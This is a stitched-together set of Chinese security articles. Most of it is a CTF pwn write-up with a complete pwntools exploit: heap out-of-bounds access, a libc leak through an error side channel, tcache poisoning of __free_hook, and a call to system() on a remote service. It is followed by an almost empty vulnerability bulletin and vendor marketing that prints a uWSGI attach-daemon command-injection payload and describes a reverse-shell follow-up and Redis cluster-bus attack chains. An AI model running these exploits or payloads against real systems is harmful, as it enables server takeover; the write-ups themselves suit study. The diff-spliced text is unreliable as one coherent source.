1.5rem;font-size: 15px;"><code><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">malloc(48)</span></span></code></td><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><code><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">0x40</span></span></code></td></tr><tr><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><section><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">AssignLit</span></span></section></td><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><code><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">malloc(24)</span></span></code></td><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><code><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">0x20</span></span></code></td></tr><tr><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><section><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">Number</span></span></section></td><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><code><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">malloc(16)</span></span></code></td><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><code><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">0x20</span></span></code></td></tr></tbody></table>
|
||||
##
|
||||
|
||||
|
||||
|
||||
漏洞分析
|
||||
### BinOp 不截断结果
|
||||
|
||||
BinOp 的 eval()
|
||||
做完整的 64 位整数运算，结果直接存回寄存器，不检查不截断。这就能构造任意 64 位值——特别是合法的 0xBEEF
|
||||
头：
|
||||
|
||||
```
|
||||
$1=48879 // 0xBEEF$2=65536 // 0x10000$1*$2 // 0xBEEF_0000$1*$2 // 0xBEEF_0000_0000$1*$2 // 0xBEEF_0000_0000_0000$3=65535 // 0xFFFF (元素数)$1+$3 // 0xBEEF_0000_0000_FFFF
|
||||
```
|
||||
|
||||
### SetField 不检查 BEEF 标签
|
||||
|
||||
SetField 写值的时候只检查目标地址是否在 arena 范围内，不检查写入的值本身。所以可以把伪造的 0xBEEF_0000_0000_FFFF
|
||||
写入 arena 的元素位置。
|
||||
### GetField 信任伪造头 → OOB
|
||||
|
||||
把伪造的 BEEF 头装到 $0[0]
|
||||
后，通过 $4=$0[0][N]
|
||||
读"第 N 个元素"。GetField 读 arena 中的 BEEF 头，解析出 count = 0xFFFF，只要 N < 0xFFFF
|
||||
就放行。
|
||||
|
||||
|
||||
但实际 Object 只有 5 个元素，arena 只有 64KB。N 足够大时，读写地址越过 arena 边界，落到后面的堆元数据区域——包括 **tcache 结构体**
|
||||
和 **libc 指针**
|
||||
。
|
||||
##
|
||||
|
||||
|
||||
|
||||
利用过程
|
||||
### Step 1：泄露 XOR 密钥
|
||||
|
||||
arena 是 malloc(0x10000)
|
||||
返回的，glibc 2.27 下实测 arena 区域初始全零。
|
||||
|
||||
|
||||
读取 $0[0][4]
|
||||
对应 arena+0x30。因为该位置是 0，而 GetField 做 stored ^ key
|
||||
，读出来就是 0 ^ key = key
|
||||
。
|
||||
|
||||
```
|
||||
$4=$0[0][4] // $4 = key
|
||||
```
|
||||
|
||||
### Step 2：泄露 libc 指针
|
||||
|
||||
通过 LD_PRELOAD hook 扫描堆内存，找到 _IO_file_jumps
|
||||
指针在 arena + 0x100e8
|
||||
处。
|
||||
|
||||
|
||||
换算 OOB 索引：(0x100e8 - 0x10) / 8 = 8219
|
||||
。
|
||||
|
||||
```
|
||||
$5=$0[0][8219] // 读取加密的 _IO_file_jumps 指针$6=$5 // 拷贝$6^$4 // XOR 解密 → 真实的 _IO_file_jumps 地址$8=4088480 // OFF_IO_FILE_JUMPS = 0x3e82a0$6-$8 // $6 = libc_base
|
||||
```
|
||||
|
||||
|
||||
|
||||
$6
|
||||
里现在是 libc 基址——但只在寄存器里，没法直接读出来。
|
||||
### Step 3：侧信道逐位泄露 libc_base
|
||||
|
||||
整个利用中最有意思的部分。libc_base 在寄存器里，需要"读"到 Python 脚本中。但解释器没有 print 功能。
|
||||
|
||||
|
||||
思路是利用 0x1337
|
||||
标签做侧信道：当一个值的高 16 位恰好是 0x1337
|
||||
时，解释器把它当 Object 指针处理。如果"指针"指向的不是合法对象，触发 **"runtime error!"**
|
||||
输出——这就是 1-bit 信息泄露通道。
|
||||
|
||||
|
||||
构造方法：
|
||||
- 先把 libc_base 右移 12 位（低 12 位是页对齐的零），得到 36 位有效信息
|
||||
|
||||
- 对每一位，用 %2
|
||||
提取最低位
|
||||
|
||||
- 把提取出的 bit（0 或 1）乘以 0x1336 << 48
|
||||
|
||||
- 加上 1 << 48
|
||||
|
||||
- 再加自身（×2）
|
||||
|
||||
如果原始 bit 是 1：
|
||||
|
||||
```
|
||||
1 × 0x1336_0000_0000_0000 = 0x1336...+ 0x0001_0000_0000_0000 = 0x1337... ← 触发 runtime error!× 2 → 溢出，但 error 已经输出了
|
||||
```
|
||||
|
||||
|
||||
|
||||
如果原始 bit 是 0：
|
||||
|
||||
```
|
||||
0 × 0x1336_0000_0000_0000 = 0+ 0x0001_0000_0000_0000 = 0x0001...× 2 = 0x0002... ← 普通数值，无报错
|
||||
```
|
||||
|
||||
|
||||
|
||||
检查每次操作后是否出现 "runtime error!" 就能逐位恢复 36 个有效位。每位 6 条命令，36 位共 216 条，远程大概一两分钟。
|
||||
### Step 4：tcache poisoning
|
||||
|
||||
拿到 libc_base 后就是经典打法。通过 OOB 写修改 tcache[0x30] 的 fd 和 chunk size：
|
||||
|
||||
```
|
||||
// 预计算加密值$5 = (__free_hook - 24) ^ key // 新的 fd$8 = 0x41 ^ key // 新的 chunk size// OOB 写入$0[0][8262] = $5 // 篡改 tcache[0x30] fd → __free_hook - 24$0[0][8261] = $8 // 篡改 chunk size 0x31 → 0x41
|
||||
```
|
||||
|
||||
|
||||
|
||||
为什么改 chunk size？需要先消耗 tcache[0x30] 的旧头部 entry。$9=[0]
|
||||
创建 Object（malloc(32) → 0x30 chunk）弹出旧 entry，free 时按 size 0x41 放入 tcache[0x40] 而不是 0x30，避免污染毒化后的链表。
|
||||
> **关键细节：**
|
||||
glibc 2.27 的 tcache 分配检查的是 entries[tc_idx] != NULL
|
||||
，**不是**counts > 0
|
||||
。反汇编 __libc_malloc
|
||||
（偏移 0x971a0）确认了这一点。counts 为 0 也不影响分配。
|
||||
|
||||
> **坑：所有 BinOp 运算必须在 OOB 写之前完成。**
|
||||
BinOp 是 malloc(32) → 0x30 chunk，毒化 tcache[0x30] 之后再执行 BinOp 会弹出毒化的 entry，破坏利用链。SetField 是 malloc(48) → 0x40 chunk，不影响。
|
||||
|
||||
### Step 5：触发 system()
|
||||
|
||||
tcache[0x30] 头部现在指向 __free_hook - 24
|
||||
。发送一行超过 15 字符的输入（避开 SSO），解释器主循环：
|
||||
- cin.getline(stack_buf, 0x100)
|
||||
读入栈缓冲区
|
||||
|
||||
- strlen
|
||||
+ _M_construct
|
||||
构造 std::string
|
||||
|
||||
- 长度 > 15 → malloc(len+1)
|
||||
分配堆内存
|
||||
|
||||
- 解析执行（"invalid syntax!" 无所谓）
|
||||
|
||||
- 循环结束 → string 析构 → free(heap_buf)
|
||||
|
||||
payload 结构：
|
||||
|
||||
```
|
||||
┌───────────────────────┬──────────────┐│ cat /f*;AAAAAAA...A │ p64(system) ││ 24 bytes │ 8 bytes │└───────────────────────┴──────────────┘ ↑ offset 0 ↑ offset 24 = __free_hook
|
||||
```
|
||||
|
||||
|
||||
|
||||
strlen
|
||||
遇到 p64(system_addr)
|
||||
中的 \x00
|
||||
停止，strlen = 30。malloc(31)
|
||||
→ 0x30 chunk → 从 tcache 弹出 __free_hook - 24
|
||||
。
|
||||
|
||||
|
||||
_M_construct
|
||||
把 payload 复制过去，system_addr
|
||||
的 6 个非零字节落在 offset 24 = __free_hook
|
||||
。
|
||||
|
||||
|
||||
string 析构 free(buf)
|
||||
→ __free_hook
|
||||
→ system("cat /f*;AAAA...")
|
||||
→ flag。
|
||||
> **后续命令也能执行：**__free_hook
|
||||
设为 system
|
||||
后，之后每轮循环的 string 析构都触发 system(input)
|
||||
。短命令用 # + padding
|
||||
补到 16 字符以上（#
|
||||
是 shell 注释）就行。
|
||||
|
||||
##
|
||||
|
||||
|
||||
|
||||
踩过的坑
|
||||
### 复合表达式解析 bug
|
||||
|
||||
最致命的坑。$6=$5^$4
|
||||
看起来应该是"$5 XOR $4 赋给 $6"，实测 $4=3, $5=5, $6=99
|
||||
，执行后 $6
|
||||
变成 3 而不是 6。parser 压根不支持复合写法。
|
||||
|
||||
|
||||
修复：拆两步 $6=$5
|
||||
→ $6^$4
|
||||
。发现之前侧信道泄露的 libc_base 一直是错的，调了很久才定位到。
|
||||
### strlen 与 chunk size 不匹配
|
||||
|
||||
最初 target 设为 __free_hook - 16
|
||||
，payload 是 sh; + 13 bytes + p64(system)
|
||||
。但 p64(system_addr)
|
||||
byte 6 是 \x00
|
||||
，strlen = 22，malloc(23)
|
||||
分配 0x20
|
||||
chunk 而不是 0x30
|
||||
——不走毒化过的 tcache bin。
|
||||
|
||||
改成 __free_hook - 24
|
||||
，prefix 24 字节，strlen = 30，malloc(31)
|
||||
→ 0x30
|
||||
chunk。
|
||||
### system 地址中的坏字节
|
||||
|
||||
system_addr = libc_base + 0x4f420
|
||||
。当 ASLR 使得 p64(system_addr)
|
||||
前 6 字节中出现 \x00
|
||||
或 \x0a
|
||||
时，string 构造被截断。概率约 1/256，直接放弃重连，下次 ASLR 换个地址就好。
|
||||
##
|
||||
|
||||
|
||||
|
||||
|
||||
最终 exp
|
||||
|
||||
```
|
||||
#!/usr/bin/env python3from pwn import *import syscontext.arch = 'amd64'context.log_level = 'info'OFF_IO_FILE_JUMPS = 0x3e82a0OFF_FREE_HOOK = 0x3ed8e8OFF_SYSTEM = 0x4f420IDX_KEY = 4 # arena+0x30IDX_LIBC = 8219 # arena+0x100e8 _IO_file_jumpsIDX_FD = 8262 # arena+0x10240 tcache[0x30] fdIDX_SIZE = 8261 # arena+0x10238 tcache[0x30] chunk sizedef cmd(p, line): p.sendline(line.encode() if isinstance(line, str) else line) p.recvuntil(b'> ', timeout=8)def cmd_test(p, line): p.sendline(line.encode() if isinstance(line, str) else line)return b'runtime error!' in p.recvuntil(b'> ', timeout=8)def exploit(p): p.recvuntil(b'> ')# 1. 伪造 BEEF 头for c in ['$0=[0,0,0,0,0]', '$1=48879', '$2=65536','$1*$2', '$1*$2', '$1*$2','$3=65535', '$1+$3', '$0[0]=$1']: cmd(p, c)# 2. 泄露 XOR key cmd(p, '$4=$0[0][4]')# 3. 泄露 libc 指针并计算 libc_base (寄存器内) cmd(p, f'$5=$0[0][{IDX_LIBC}]') cmd(p, '$6=$5'); cmd(p, '$6^$4') cmd(p, f'$8={OFF_IO_FILE_JUMPS}'); cmd(p, '$6-$8')# 4. 构造侧信道常量for c in ['$7=4918', '$7*$2', '$7*$2', '$7*$2', # 0x1336<<48'$1=1', '$1*$2', '$1*$2', '$1*$2', # 1<<48'$3=2']: cmd(p, c) cmd(p, '$8=$6'); cmd(p, '$9=4096'); cmd(p, '$8/$9')# 5. 逐位泄露 36 bits libc_base = 0for i in range(36):for c in ['$10=$8', '$10%$3', '$10*$7', '$10+$1']: cmd(p, c)if cmd_test(p, '$10+$10'): libc_base |= (1 << (i + 12)) cmd(p, '$8/$3')if (libc_base >> 40) & 0xff != 0x7f:return False system_addr = libc_base + OFF_SYSTEM addr_bytes = p64(system_addr)if any(addr_bytes[i] in (0x00, 0x0a) for i in range(6)):return False # 坏字节，重试# 6. 预计算加密值 + OOB 写入 target_off = OFF_FREE_HOOK - 24for c in [f'$5={target_off}', '$5+$6', '$5^$4','$8=65', '$8^$4']: cmd(p, c) cmd(p, f'$0[0][{IDX_FD}]=$5') cmd(p, f'$0[0][{IDX_SIZE}]=$8')# 7. 消耗旧 tcache entry cmd(p, '$9=[0]')# 8. 发送 payload payload = b'cat /f*;' + b'A' * 16 + addr_bytes p.sendline(payload) sleep(1) data = p.recv(timeout=3)print(data.decode(errors='replace')) p.interactive()return Truefor attempt in range(10):try: p = remote('123.57.66.184', 10059)if exploit(p): break p.close()except: pass
|
||||
```
|
||||
|
||||
## 效果
|
||||
|
||||
```
|
||||
$ python3 exp.py remote[+] Opening connection to 123.57.66.184 on port 10059: Done[+] libc_base = 0x7fa3f157f000[*] system = 0x7fa3f15ce420flag{0a906c33-809a-4c1d-8c3a-32da1fbc7b4b}
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
看雪ID：
|
||||
wx_平淡无奇
|
||||
|
||||
https://bbs.kanxue.com/user-home-775120.htm
|
||||
|
||||
*本文为看雪论坛优秀文章，由
|
||||
wx_平淡无奇
|
||||
|
||||
原创，转载请注明来自看雪社区
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458619656&idx=1&sn=2f23a0dd3df2fcb4c84eeff7856fcffe&scene=21#wechat_redirect)
|
||||
|
||||
1.25折门票限时抢购
|
||||
|
||||
|
||||
# 往期推荐
|
||||
|
||||
[Windows内核免杀学习：不调 API 找 ntdll 基址](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458620444&idx=1&sn=bd763b6986b4c05a62ddf89ef70e891b&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[安卓ACE反作弊拉黑设备机制技术解析](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458620413&idx=2&sn=8845e3d839e35c55394911375ee298b5&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[一场 VM 题目的逆向与利用分析：CISCN 决赛 Pwn01 复盘](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458619945&idx=2&sn=668c5a7c1d1589699676a02d69c89415&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[Frida 整体启动逻辑](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458619811&idx=1&sn=bfee625d49ac82cbc5ddbde393844170&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[VT调试器原理揭秘--DebugPort转移与重建调试体系](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458619748&idx=1&sn=3da8fd74ca09ea5d3b1a7e5df02207ca&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**球分享**
|
||||
|
||||
|
||||
|
||||
**球点赞**
|
||||
|
||||
|
||||
|
||||
**球在看**
|
||||
|
||||
|
||||
|
||||
|
||||
点击阅读原文查看更多
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
# 信息安全漏洞周报【第092期】
|
||||
零零捌信安观察
|
||||
零零捌信安观察 银天信息 2026-09-18 09:26
|
||||
|
||||
零零捌信安观察近期注意到，国家信息安全漏洞共享平台（CNVD）及国家信息安全漏洞库（CNNVD）等权威机构发布了最新的安全公告。经过我们团队的分析和筛查，我们收录了以下被认定为风险的安全漏洞信息。
|
||||
|
||||
目前，相关官方机构已经发布了针对这些安全漏洞的补丁和修复方案。我们建议相关用户和组织及时关注并采取相应的安全措施，以确保信息系统的安全和稳定。
|
||||
|
||||
收录的漏洞详细信息如下：
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
****
|
||||
**服务热线****：**
|
||||
|
||||
**400-996-5191**
|
||||
|
||||
|
||||
供稿：石亚乐
|
||||
|
||||
编校：周晶晶
|
||||
|
||||
审核：李孔民
|
||||
|
||||
|
||||
@@ -0,0 +1,519 @@
|
||||
# 全流程 AI 化：沥泉科技TraceLoom从发现漏洞到验证漏洞
|
||||
原创 LICHOIN
|
||||
LICHOIN 沥泉科技 2026-09-18 10:58
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
软件安全审计长期存在两个瓶颈：**代码读不完，结论信不过**
|
||||
。
|
||||
|
||||
|
||||
一个中大型项目动辄几十万行代码，人工审计往往只能抽样；而工具发现的问题，也需要进一步判断真假。
|
||||
|
||||
对于安全团队而言，真正花费时间的部分，恰恰是从“发现漏洞”到“验证漏洞”的过程。
|
||||
|
||||
|
||||
|
||||
|
||||
**沥泉科技自研 AI 白盒安全审计产品 TraceLoom，希望解决的正是这段距离。**
|
||||
|
||||
|
||||
区别于传统单点扫描工具，**TraceLoom是一套全链路AI Agent智能审计引擎**
|
||||
。全程依托国产大模型DeepSeek驱动，实现供应链自主可控，解决传统审计的核心短板。
|
||||
|
||||
它将“**读懂代码 → 找到问题 → 排除误报 → 真实环境验证 → 输出报告**
|
||||
”这条链路整体 AI 化，由 AI Agent 执行从漏洞发现到验证交付的完整流程。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
【图一｜TraceLoom 能力全景】从白盒审计到真实环境验证，再到报告交付，TraceLoom 形成完整的 AI 安全验证闭环。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
TraceLoom 的核心是一支分工明确的 AI Agent 团队。它们像一支审计小组一样协同工作，通过并行探索和分工复核，扩大审计覆盖面，减少人工反复查证的工作。
|
||||
|
||||
|
||||
**1.全域测绘，摸清系统全貌**
|
||||
|
||||
|
||||
|
||||
|
||||
项目接入后，TraceLoom 通过多个 AI Agent 并行探索，快速梳理软件的技术栈、功能入口、权限边界、数据流转路径，生成完整的系统安全地图，杜绝审计盲区。
|
||||
|
||||
|
||||
**2.双线追查，锁定潜在漏洞**
|
||||
|
||||
|
||||
|
||||
|
||||
一方面追踪数据全流转路径，排查外部输入可触发的安全风险；另一方面从全局视角预判高风险区域、主动求证风险假设，双线汇总形成完整候选漏洞清单。
|
||||
|
||||
|
||||
**3.红蓝对抗，极致剔除误报**
|
||||
|
||||
|
||||
|
||||
|
||||
针对每一个高危风险，AI自动拆分红蓝双方对抗核验：红方论证漏洞可被利用，蓝方举证现有防护可拦截风险。经过AI辩论复核、层层筛选，彻底过滤无效误报，确保每一条风险结论真实可信。
|
||||
|
||||
|
||||
**4.实景复现，固化风险证据**
|
||||
|
||||
|
||||
|
||||
|
||||
AI可自动搭建真实的软件运行环境，模拟黑客攻击行为，完整复现漏洞攻击路径，用真实场景验证风险危害性，进一步判断漏洞是否真实成立。
|
||||
|
||||
|
||||
|
||||
|
||||
【图二｜TraceLoom 完整工作流程
|
||||
】
|
||||
候选漏洞经逐条核查后进入真实环境复现，验证结论回流至扫描环节。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**真实落地案例：AI 如何完成一次漏洞发现与验证**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
系统能力是否真正有效，最终还需要通过真实任务进行验证。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**案例一**
|
||||
|
||||
**uWSGI 数据库配置插件远程命令执行漏洞（CVSS 9.8）**
|
||||
|
||||
|
||||
“
|
||||
|
||||
|
||||
本案例来自主流 Python 应用服务器 **uWSG**
|
||||
I，其广泛用于互联网、政企、 SaaS 平台的线上业务。TraceLoom AI 完整复盘从代码分析、漏洞溯源、误报排查、版本考古到实景复现的全流程，证实该组件存在**长期潜伏、全网通用的远程高危命令执行漏洞**
|
||||
。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**业务背景：广泛应用的核心组件存重大隐患**
|
||||
|
||||
|
||||
uWSGI是全球通用的Web应用服务器，绝大多数Python架构的网站、系统均依赖该组件运行，普及率极高。
|
||||
|
||||
|
||||
它自带一套「总管（Emperor）」管理模式：由一个总管理进程，统一调度、监控成百上千个业务子服务，实现批量管理。为了方便集中维护所有业务的配置，官方开发了数据库插件，总管会定时读取 MongoDB 数据库里的配置记录，数据库里新增一条配置，总管就自动拉起一个对应的业务实例。
|
||||
|
||||
|
||||
这个插件支持两种数据库连接格式：**mongodb:// 和 mongodb2://**
|
||||
，两种写法的底层能力存在差异，也是本次漏洞产生的关键伏笔。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**AI全程自主挖掘，还原完整风险链路**
|
||||
|
||||
TraceLoom AI在无人工辅助的情况下，完整拆解出漏洞风险逻辑：攻击者只需向企业配置数据库写入一条恶意记录，即可顺着系统正常运行流程，最终在服务器上执行任意恶意命令，**最高可获取系统root最高权限，完全接管企业所有业务实例**
|
||||
。
|
||||
|
||||
|
||||
**数据库里的一条配置记录（Source），经过“启动子实例”的内部入口，被当作配置文件解析，最终变成服务器上的一条命令（Sink）。**
|
||||
|
||||
|
||||
这套用来自动化管理业务的机制，因为代码校验逻辑缺失，让数据库变成了攻击者下发指令、接管服务器的入口。
|
||||
|
||||
|
||||
**AI精准定位出漏洞的四大核心成因，层层拆解风险根源：**
|
||||
|
||||
1
|
||||
|
||||
**认证机制结构性缺失**
|
||||
|
||||
mongodb:// 协议解析逻辑中，代码完全没有读取账号、密码、数据库名的入口，认证分支永久无法触发。而同插件的 mongodb2:// 完整支持账号密码认证，证明这是**代码实现缺陷，而非设计如此**
|
||||
。
|
||||
|
||||
|
||||
2
|
||||
|
||||
**配置内容零安全校验**
|
||||
|
||||
系统仅校验实例名后缀格式，**完全不检测配置内容风险**
|
||||
。数据库内的恶意配置可原样送入业务启动流程。
|
||||
|
||||
|
||||
3
|
||||
|
||||
**权限管控失效**
|
||||
|
||||
降权模式仅禁止 0 号权限，攻击者可自定义任意非零运行身份；默认环境下子实例直接继承总管权限，普遍为 root 最高权限。
|
||||
|
||||
|
||||
4
|
||||
|
||||
**合法功能可被恶意滥用**
|
||||
|
||||
uWSGI 原生支持 attach-daemon 配置项，可启动外部守护命令。AI 证实：恶意配置可通过该功能，最终调用 /bin/sh -c 执行任意系统命令。
|
||||
|
||||
|
||||
|
||||
|
||||
四层缺陷叠加，最终形成稳定攻击链路，
|
||||
|
||||
每一步都有代码依据的完整数据链。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
【图2-1｜**案例机制与证据示意**
|
||||
】依据本文案例描述绘制，展示配置触发执行的过程，以及随机标识、权限回显和实例启停行为之间的证据关联。图中画面为示意，非原始验证截图。
|
||||
|
||||
|
||||
|
||||
|
||||
**AI多重核验，排除所有伪风险**
|
||||
|
||||
针对代码中看似存在的安全防护机制，AI逐一穿透核查，最终确认所有防护均为“无效摆设”。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
还有一个很有说服力的细节：同一个插件里的另一种写法（mongodb2://）具备完整的账号密码配置能力。这说明产品的设计意图本就包含“数据源侧认证”，前一种写法属于实现层面的缺陷。按国际通用弱点分类标准（CWE），该问题同时命中“关键功能缺少认证”与“代码注入”两类缺陷。
|
||||
|
||||
|
||||
|
||||
|
||||
“
|
||||
|
||||
|
||||
同时AI通过版本溯源，完成“版本考古”，确认该漏洞**从2012年组件诞生之初就已存****在**
|
||||
，覆盖1.3至2.0.31所有发行版本。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**实景复现，坐实高危危害**
|
||||
|
||||
|
||||
在白盒审计确认漏洞链路成立后，TraceLoom 自动进入验证环节。AI Agent 使用 Docker 搭建一套真实运行环境：基于官方源码构建 2.0.31 版本的应用服务器和插件，编译配套旧版数据库驱动，启动未开启认证的数据库服务。
|
||||
|
||||
环境就绪后，AI 模拟攻击者，通过数据库协议向配置表写入一条带随机标识的记录，观察服务器反应：
|
||||
|
||||
|
||||
```
|
||||
/* 写入配置表的记录（示例载荷，命令输出回传用于确认） */
|
||||
name: pwn-547e4da075a7.ini /* 受支持后缀即可通过门禁 */
|
||||
config:
|
||||
[uwsgi]
|
||||
attach-daemon = id > /evidence/proof.txt 2>&1
|
||||
```
|
||||
|
||||
|
||||
- 总管进程的日志出现“新实例已被拉起”，以及“以 root 身份拉起守护进程”的记录；
|
||||
|
||||
|
||||
- 记录里的命令被真实执行，回显显示当前身份是 root，即系统最高权限；
|
||||
|
||||
|
||||
- 换成反弹 shell 载荷后，取得一个可交互的 root 权限远程命令行，能够直接控制目标；
|
||||
|
||||
|
||||
- 删除这条记录后，总管主动停掉了对应实例——危害的另一半，即随意启停、接管所有实例，同样成立。
|
||||
|
||||
|
||||
|
||||
|
||||
这条随机标识可以把 “写入的配置记录” 和服务器执行结果一一绑定，排除巧合与模拟测试带来的误判。从搭建环境到完成攻击验证，全程由 AI 独立完成，无需人工介入复现工作。
|
||||
|
||||
|
||||
|
||||
**最终交付成果**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
该漏洞为全网通用高危漏洞，可导致服务器权限完全失守、全站业务被接管。TraceLoom 输出含影响版本、攻击前置条件、危害边界、完整代码链路、实景验证证据、**可直接落地的修复与监控方案的标准化报告**
|
||||
，技术团队可直接对照整改，快速闭环安全风险。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**案例二**
|
||||
|
||||
**从一条上游提交反推出的 Redis 集群总线双重高危漏洞（CVSS 10.0/9.8）**
|
||||
|
||||
|
||||
“
|
||||
|
||||
|
||||
TraceLoom 对主流开源组件保持逐提交级的持续追踪。8 月 28 日，系统在 Redis 官方仓库捕捉到一条不起眼的配置类提交：维护者将“明文集群总线”从默认允许调整为默认拒绝。改动本身只有几行，AI 随即对它展开反向推导——官方为什么要动这个默认值？答案指向一个被默认配置掩盖的真实风险面。顺着这条线索，TraceLoom 对集群总线协议做了全链路深挖，推出两条相互独立、均可稳定利用的高危攻击链，并搭建生产级环境完成实景验证。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**通俗理解漏洞原理：集群“对讲通道”无身份核验**
|
||||
|
||||
|
||||
把 Redis 集群想象成一**栋楼里的一群管家**
|
||||
。
|
||||
|
||||
楼栋管家依靠一条**内部对讲频道（官方叫“集群总线”）**
|
||||
完成多节点的数据分片、状态同步与节点互联，但是这条核心协议通道存在两个致命底层缺陷：
|
||||
|
||||
|
||||
|
||||
**01.谁都能插话**
|
||||
|
||||
|
||||
|
||||
|
||||
频道不查证件。只要连通集群总线端口，外部设备即可参与集群通信，就能像楼里的管家一样讲话；
|
||||
|
||||
**02.说什么信什么**
|
||||
|
||||
|
||||
|
||||
|
||||
话里自报的身份、数据归属和联系方式，对方照单全收，不去核实。
|
||||
|
||||
|
||||
**简单来说：攻击者不需要任何账号密码，谁接上这条频道，谁就能冒充楼里的任何管家。**
|
||||
|
||||
|
||||
|
||||
|
||||
图 1-1｜Redis 集群总线漏洞的本质。对讲频道不查证件、说什么信什么——不需要任何账号密码，谁接上这条频道，谁就能冒充楼里的任何管家。
|
||||
|
||||
|
||||
|
||||
|
||||
**反向推导出的两条高危攻击链（CVSS 10.0/9.8）**
|
||||
|
||||
TraceLoom AI 通过代码追踪与路径推演，完整挖出两条独立、可稳定利用的攻击链：
|
||||
|
||||
|
||||
|
||||
**路径1:**
|
||||
|
||||
抢走全部数据，顺手拿走密码
|
||||
（CVSS 10.0）
|
||||
|
||||
|
||||
对着频道喊一句“我是新管家，我的电话是 X”——楼里的管家真按这个号码打了过来，打到我们这儿；
|
||||
|
||||
|
||||
再喊一句“我是总管家，全部数据都归我”——对方把自己管的全部数据的归属划给了我们；
|
||||
|
||||
|
||||
划完之后，它主动降级成我们的下属，并主动连回我们，把它自己保存的上一级数据库密码明文交了出来。
|
||||
|
||||
|
||||
|
||||
**路径2:**
|
||||
|
||||
骗一张内部通行证，直接当管理员
|
||||
（CVSS 9.8）
|
||||
|
||||
|
||||
用楼里任何一个人的公开编号，喊一句“我是老员工”——这个编号在集群里是公开信息，随处可得；
|
||||
|
||||
|
||||
对方回话时，自动附上了一张内部通行证（一串 40 位的内部口令）；
|
||||
|
||||
|
||||
拿着这张通行证去大楼正门，直接换到一个不受任何权限限制的管理员身份：数据随便读、随便改、密码随便改。
|
||||
|
||||
|
||||
|
||||
|
||||
图 2-1｜两条利用路径。第一条路径（CVSS 10.0）：抢走全部数据并拿到上一级数据库密码；第二条路径（CVSS 9.8）：骗取内部通行证、直接当管理员。全程不需要任何账号密码。
|
||||
|
||||
|
||||
|
||||
|
||||
**技术核心依据：报文关键字段全部可控**
|
||||
|
||||
|
||||
本次漏洞的底层根源，AI 精准定位在集群总线报文结构。节点之间讲话用的报文，头部里的关键字段**全部由发送方自己填写**
|
||||
，没有任何签名或凭证绑定，而接收方收到之后，会**原样采信**
|
||||
。
|
||||
|
||||
|
||||
|
||||
**深度挖掘的起点：从一条提交反推协议风险**
|
||||
|
||||
|
||||
这条提交就是本次发现的起点。8 月 28 日，TraceLoom 的上游提交监控捕捉到该 PR，AI 随即展开三步推导：第一，默认值调整说明官方确认“集群总线缺少来源认证”是必须消除的风险；第二，顺着总线协议逐段审计，定位到报文头部关键字段全部由发送方自报、无凭证绑定的信任缺陷；第三，由此推出两条完整攻击链。9 月 15 日该提交合入开发主干，同期 TraceLoom 已完成两条链路的实景验证。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
图 4-1｜从一条提交到两条高危攻击链。8 月 28 日捕捉到配置类提交，AI 反向推导其动机并展开协议深挖；9 月 15 日该提交合入开发主干，同期完成两条攻击链的实景验证与报告交付。
|
||||
|
||||
|
||||
|
||||
“
|
||||
|
||||
|
||||
在代码推演之外，TraceLoom 进一步完成端到端攻防验证，将主流部署形态逐一实测，输出完整的风险边界图谱：每一种形态各自暴露在什么风险之下、应当优先落实哪一项加固，都有实测结论支撑。
|
||||
|
||||
|
||||
|
||||
|
||||
我们将当前所有主流部署形态逐一实测，结果分为三类：
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
